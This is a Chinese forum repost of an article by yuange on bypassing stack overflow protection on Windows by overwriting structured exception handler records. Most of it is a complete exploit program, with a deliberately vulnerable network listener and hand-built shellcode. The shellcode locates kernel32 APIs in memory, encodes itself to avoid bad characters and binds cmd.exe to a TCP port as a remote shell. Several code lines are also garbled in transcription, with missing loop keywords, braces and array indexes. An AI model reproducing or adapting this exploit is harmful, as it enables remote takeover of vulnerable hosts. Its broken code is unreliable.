发新话题
打印

[转载]利用结构异常绕过溢出保护攻击

[转载]利用结构异常绕过溢出保护攻击

文章作者:yuange

像溢出攻击,虽然已经是发展了那么多年了,但其shellcode编写也差不多是那么
一个模式。写出汇编,编译,得到二进制代码,修改汇编,编译,再得到二进制代码,
最后用\xaa\xbb的形式把二进制代码写到攻击程序里面。这在unix等下面一般
shellcode要求比较简单,那还勉强过得去,但如果应用限制,shellcode代码不能包含
一些特殊字符那又是一个麻烦的调试、修改过程。还有溢出攻击的溢出点、怎么跳到
shellcode,虽然unix下面已经比较多的办法了,但感觉也没怎么统一的考虑过,很多
人也没有去理解溢出攻击。还有溢出过程形参被覆盖后不能返回的情况,也没怎么仔细
考虑。

  个人的理解溢出攻击只是通过外部条进改变了程序原来流程,而考虑改变程序流程
的办法就不只是溢出了,溢出攻击只是一个比较容易让程序流程改变并且按我们意愿运
行的比较方便的办法,还有一些边界条进,函数指针等都可能引起程序流程改变。像缓
冲溢出覆盖形式参数不能返回的问题,我们攻击是改变的程序流程,这个流程方向不能
返回了,那到底有别的流程没有?就可以考虑程序流程的别的线。这点unix下面有信号
机制,WINDOWS下面也有异常结构处理,这些都是程序运行的另一个隐蔽的流程。想到
这了就可以有解决办法了。
  其实UNIX等下面发展的比较好的一些保护缓冲溢出的办法很多也相应有了一些破解
思路。像堆栈里面加上随机数等的办法,就是检测溢出后不让其返回到溢出代码,这与
形参被覆盖不能返回不就是一样的吗。这在windows下面就很好的可以绕过了,UNIX没
有具体看代码,还没有实现细节。

   下面程序有溢出,但因为检测了变量j,发现有溢出就提示后退出,用于模拟一些溢
出保护或者因形参被覆盖不能返回的情况。对于这个程序我们一般的溢出攻击就不能成
功。

/*
  利用异常结构绕过溢出保护攻击的有问题的例子程序except.c。
  vc6.0下编译。
  yuange@nsfocus.com

*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  int  j;
  char *str;
  char buff1[0x0f80];
  char buff2[0x1000];
  struct sockaddr_in  s_in;
  struct sockaddr    addr;
  SOCKET          fd ,fd1;
  u_short          port;
  int            result,i,recvbytes;
  WSADATA          wsaData;

  result = WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
  printf("\n SOCKET err!\n ");
  exit(1);
  }
  j=0;
  str=argv[0];
  if(argc>1) port=atoi(argv[1]);
  else port=1080;
  fd = socket(AF_INET, SOCK_STREAM,0);
  s_in.sin_family = AF_INET;
  s_in.sin_port = htons(port);
  s_in.sin_addr.s_addr = 0;

  bind(fd,&s_in,sizeof(s_in));
  listen(fd,10);

  i=sizeof(addr);
  fd1=accept(fd,&addr,&i);

  recvbytes=recv(fd1,buff2,0x1000,0);
  if(recvbytes>0){
  buff2[recvbytes]=0;
  buff2[0x1000-1]=0;
        printf("\n recv 0x%x bytes \n",recvbytes);
        strcpy(buff1,buff2);
  printf("\n the program %s recv :\n %s \n ",argv[0],buff2);
  }
  closesocket(fd1);
  closesocket(fd);
  WSACleanup( );

  if(j!=0){
/*
溢出后会覆盖j,被检测到,这就相当于一些溢出保护
*/
       printf("\n the program %s buffover err !",argv[0]);
/*
这儿溢出后可能因为argv[0]被覆盖,而发生异常,
具体环境这代码可能在前面。
这就相当于形参被破坏。
*/
      exit(1);
  }

}


下面是攻击程序:


/*
  利用异常结构绕过溢出保护攻击的攻击程序exover.c。
  上面程序运行在win2000下此攻击程序溢出成功。
  vc6.0下编译通过。
  yuange@nsfocus.com
*/


/*
    except overflow program ver 1.0
    copy by yuange <yuange@163.net>  2000。06。20
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#define  FNENDLONG    0x08
#define  NOPCODE  0x90
#define  NOPLONG     0x20
#define  BUFFSIZE    0x20000
#define  RETEIPADDRESS 0x0
#define  SHELLPORT    0x1f90
/* 0x1f90=8080 */
#define  WEBPORT     1080

void    shellcodefnlock();
void    shellcodefn();

void    cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
  char *server;
  char *str="\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0"
   "CreateProcessA""\x0""CloseHandle""\x0"
   "PeekNamedPipe""\x0"
   "ReadFile""\x0""WriteFile""\x0"
   "wsock32.dll""\x0""socket""\x0"
   "bind""\x0""listen""\x0"
   "accept""\x0""send""\x0"
   "recv""\x0""ioctlsocket""\x0"
   "closesocket""\x0"
   "cmd.exe""\x0""exit\x0d\x0a""\x0"
   "strend";
/*  shellcode用到的api名等字符串 */

  char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  char  eipwinnt[]="\x63\x0d\xfa\x7f";
/*  jmp ebx  address */
/*
win2000发生异常时ebx指向异常结构,
winnt 有的版本是esi,有的版本是edi
*/
  char  JMPNEXTJMP[]="\x90\x90\x90\x2d";
/*
0x2d  sub eax,num32
用于平衡后面的4字节任意代码,使得连续覆盖溢出点的这段代码指令等效于NOP
*/
  char  JMPSHELL[]="\xe9\x40\xf0\xff\xff";
  
  char   buff[BUFFSIZE];
  char   recvbuff[BUFFSIZE];
  char   shellcodebuff[0x1000];
  struct  sockaddr_in s_in2,s_in3;
  struct  hostent *he;
  char   *shellcodefnadd,*chkespadd;
  unsigned  int sendpacketlong;
  int i,j,k;
  unsigned  char temp;
  int    fd;
  u_short port,port1,shellcod
eport;
  SOCKET  d_ip;
  WSADATA wsaData;
  int offset=0;
  int OVERADD=RETEIPADDRESS;
  int OVERADD2=0xfb8;
  int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
  fprintf(stderr, "Your computer was not connected "
  "to the Internet at the time that "
  "this program was launched, or you "
  "do not have a 32-bit "
  "connection to the Internet.");
  exit(1);
}

  if(argc>3)  port=atoi(argv[3]);
  else  port=WEBPORT;

  if(argc <2){
     WSACleanup( );
     fprintf(stderr, "\n except over 1.0.");
     fprintf(stderr, "\n copy by yuange 2000.06.20.");
     fprintf(stderr, "\n welcome to my homepage http://yuange.yeah.net
.");
fprintf(stderr, "\n usage: %s <server> [shellport] [webport] \n", argv[0]);
     exit(1);
  }
  else  server = argv[1];
  d_ip = inet_addr(server);
  if(d_ip==-1){
    he = gethostbyname(server);
    if(!he)
    {
     WSACleanup( );
   printf("\n Can&#39;t get the ip of %s !\n",server);
     exit(1);
  }
  else   memcpy(&d_ip, he->h_addr, 4);
  }

  fd = socket(AF_INET, SOCK_STREAM,0);
  i=8000;
  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));

  s_in3.sin_family = AF_INET;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  printf("\n nuke ip: %s port
%d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)


  closesocket(fd);
  WSACleanup( );
  fprintf(stderr,"\n  connect err.");
  exit(1);
}

  _asm{
  mov ESI,ESP
  cmp ESI,ESP
  }
  _chkesp();
  chkespadd=_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
    ++chkespadd;
     i=*(int*)chkespadd;
    chkespadd+=i;
    chkespadd+=4;
  }

  shellcodefnadd=shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
  }

  for(k=0;k<=0x500;++k){
     if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memset(buff,NOPCODE,BUFFSIZE);
  memcpy(buff+OVERADD+NOPLONG,shellcodefnadd+k+4,0x80);

  shellcodefnadd=shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
        shellcodefnadd+=k;
shellcodefnadd+=4;
  }


  for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memcpy(shellcodebuff,shellcodefnadd,k);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);

(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
  }  
  memcpy(shellcodebuff+k,str,i);

  if(argc>2)  shellcodeport=atoi(argv[2]);
  else      shellcodeport=SHELLPORT;

  if(shellcodeport==0) shellcodeport=SHELLPORT;
  shellcodeport=htons(shellcodeport);
  *(u_short *)(shellcodebuff+k)=shellcodeport;
  fprintf(stderr,"\n shellport %d",htons(shellcodeport));


  sendpacketlong=k+i;
  for(k=0;k<=0x200;++k){
      if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
  }

  for(i=0;i<sendpacketlong;++i){
    temp=shellcodebuff;
    if(temp<=0x10||temp==&#39;0&#39;){
/*   对shellcode的特殊字符编码  */
   buff[OVERADD+NOPLONG+k]=&#39;0&#39;;
   ++k;
   temp+=0x40;
    }
    buff[OVERADD+NOPLONG+k]=temp;
    ++k;
}

  
for(i=-0x30;i<0x20;i+=8){
   memcpy(buff+OVERADD2+i,JMPNEXTJMP,4);
/*
  覆盖异常结构的下一个异常链next数据,发生异常时ebx制向这
  与通常的发生溢出时ESP指向溢出代码附近不一样,发生异常时
  的ESP不在这附近
*/  
  memcpy(buff+OVERADD2+i+4,eipwinnt,4);
/*
覆盖异常结构的程序指针
发生异常时会转到这指针去运行
这覆盖的是一个jmp ebx指令的地址
*/
}
/*
  连续覆盖,增大覆盖掉异常结构的可能性
*/
memcpy(buff+OVERADD2+8,JMPSHELL,5);
/*
  跳到shellcode去的跳转代码,远跳转。
*/
  sendpacketlong=0x1000-0x10;

  for(i=0;i<1;++i){
      j=sendpacketlong;
      fprintf(stderr,"\n send  packet %d bytes.",j);
      send(fd,buff,j,0);
      k=recv(fd,recvbuff,0x1000,0);
      if(k>0){
   recvbuff[k]=0;
   fprintf(stderr,"\n  recv:\n %s",recvbuff);
      }
  }
  closesocket(fd);
  WSACleanup( );
  return(0);
}

void  shellcode
fnlock()
{
   _asm{
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
/* 用于定位下面一小段汇编指令的NOP 串 */
        jmp  next
getediadd:   pop  EDI
        push  EDI
        pop  ESI
        xor  ecx,ecx
        mov  cx,0x0fd0
looplock:      lodsb
      cmp  al,0x30
    jnz  sto
            lodsb
    sub  al,0x40
sto:          stosb
    loop  looplock
    jmp  shell
next:         call  getediadd
/*  解码shellcode */
shell:    NOP
  NOP
  NOP
  NOP
  NOP
  NOP
  NOP
  NOP

}
}


/* 真正实现功能的shellcode */
/* 本shellcode实现开端口绑定cmd.exe 的功能 */
void shellcodefn()
{ char      Buff[0x800];
int      *except[3];

FARPROC    closesocketadd;
FARPROC    ioctlsocketadd;
FARPROC    recvadd;
        FARPROC    sendadd;
        FARPROC    acceptadd;
        FARPROC    listenadd;
        FARPROC    bindadd;
  FARPROC    socketadd;
/*    FARPROC    WSAStartupadd;  */

FARPROC    NOPNOP;

FARPROC    WriteFileadd;
FARPROC    ReadFileadd;
FARPROC    PeekNamedPipeadd;
FARPROC    CloseHandleadd;
FARPROC    CreateProcessadd;
FARPROC    CreatePipeadd;
FARPROC  procloadlib;

FARPROC    apifnadd[1];
FARPROC    procgetadd=0;

char      *stradd;
int      imgbase,fnbase,k,l;
HANDLE    libhandle;
        STARTUPINFO siinfo;
        SOCKET    listenFD,clientFD;
        struct    sockaddr_in server;
        int      iAddrSize = sizeof(server);
int      lBytesRead;
u_short    shellcodeport;

        PROCESS_INFORMATION ProcessInformation;
        HANDLE    hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
        SECURITY_ATTRIBUTES sa;
_asm {    jmp   nextcall
      getstradd:  pop   stradd
               lea   EDI,except
            mov   eax,dword ptr FS:[0]
  mov   dword ptr [edi+0x08],eax
  mov   dword ptr FS:[0],EDI

}
   except[0]=0xffffffff;
   except[1]=stradd-0x07;

   imgbase=0x77e00000;
   _asm{
   call getexceptretadd
   }
for(;imgbase<0xbffa0000,procgetadd==0;){
    imgbase+=0x10000;
    if(imgbase==0x78000000) imgbase=0xbff00000;
    if(*( WORD *)imgbase==&#39;ZM&#39;&& *(WORD *)(imgbase+*(int
*)(imgbase+0x3c))==&#39;EP&#39;){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==&#39;NREK&#39;&&*(int *)(k+4)==&#39;23LE&#39;){
    libhandle=imgbase;
   k=imgbase+*(int *)(fnbase+0x20);
   for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
     if(*(int *)(imgbase+*(int *)k)==&#39;PteG&#39;&&*(int *)(4+imgbase+*(int
*)k)==&#39;Acor&#39;){
       k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
       k+=*(int *)(fnbase+0x10)-1;
       k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
       procgetadd=k+imgbase;
       break;
      }
    }
}
      }
   }
/*
搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
注意这儿处理了搜索页面不在情况。
*/

  _asm{
        lea edi,except
        mov eax,dword ptr [edi+0x08]
      mov dword ptr fs:[0],eax
  }


  if(procgetadd==0) goto  die ;

  shellcodeport=*(u_short *)stradd;
  stradd+=2;
  for(k=1;k<17;++k) {
if(k==8) libhandle=procloadlib(stradd);
else    apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
    if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
  }

/*   WSAStartupadd(MAKEWORD(1, 1), &wsaData);  */
     listenFD = socketadd(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     server.sin_family = AF_INET;
     server.sin_port =shellcodeport;
     server.sin_addr.s_addr=0;

     k=1;
while(k!=0){
     k=bindadd(listenFD,&server,sizeof(server));
         server.sin_port+=0x100;
     if(server.sin_port<0x100) ++server.sin_port;
     }
listenadd(listenFD,10);

while(1){

        clientFD=acceptadd(listenFD,&server,&iAddrSize);
        sa.nLength=12;
        sa.lpSecurityDescriptor=0;
        sa.bInheritHandle=TRUE;

        CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
        CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

/* ZeroMemory(&siinfo,sizeof(siinfo));  */
        _asm{
          lea EDI,siinfo
         xor eax,eax
         mov ecx,0x11
         repnz stosd
  }
   siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   siinfo.wShowWindow = SW_HIDE;
   siinfo.hStdInput = hReadPipe2;
   siinfo.hStdOutput=hWritePipe1;
   siinfo.hStdError =hWritePipe1;


k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInfor
mation);

   PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);


/*
    k=1;
    ioctlsocketadd(clientFD, FIONBIO, &k);
*/
/*
    还是阻塞模式比较好,占用CPU时间少,要不下面死掉的时候就老占用CPU,
    造成受攻击系统反应比较慢。
*/
   while(1){
      PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);
    if(lBytesRead>0) {
          ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
          if(lBytesRead>0) sendadd(clientFD,Buff,lBytesRead,0);
    else sendadd(clientFD,stradd,8,0);
  }
       else{
          lBytesRead=recvadd(clientFD,Buff,1024,0);
          if(lBytesRead<=0){
              lBytesRead=6;
        WriteFileadd(hWritePipe2,stradd+8,lBytesRead,&lBytesRead,0);
      closesocketadd(clientFD);
      break;
/*
TELNET连接中断,退出等到再一次连接
*/      }
      else{
             sendadd(clientFD,Buff,lBytesRead,0);
/*
   回显,有些TELNET不能设置本地响应会看不到命令输入很不方便。
*/
         WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
  }
  }
   }
}




    die: goto die  ;
    _asm{

getexceptretadd:  pop  eax
      push eax
      mov  edi,dword ptr [stradd]
      mov dword ptr [edi-0x0e],eax
      ret
errprogram:      mov eax,dword ptr [esp+0x0c]
      add eax,0xb8
      mov dword ptr [eax],0x11223344
/* stradd-0xe  */
      xor eax,eax
/* 2  bytes */
      ret
/* 1  bytes */
execptprogram:    jmp errprogram
/* 2 bytes  stradd-7  */
nextcall:       call getstradd
/* 5 bytes */
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
      NOP
}
}



/*
清除shellcdoe里面的chkesp调用
*/
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
  int i,k;
  unsigned char temp;
  char *calladd;

  for(i=0;i<len;++i){
     temp=shellbuff;
     if(temp==0xe8){
         k=*(int *)(shellbuff+i+1);
    calladd=fnadd;
  calladd+=k;
  calladd+=i;
  calladd+=5;
  if(calladd==chkesp){
          shellbuff=0x90;
      shellbuff[i+1]=0x43;  // inc ebx
  shellbuff[i+2]=0x4b; // dec ebx
  shellbuff[i+3]=0x43;
  shellbuff[i+4]=0x4b;
   }
      }
  }
}
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题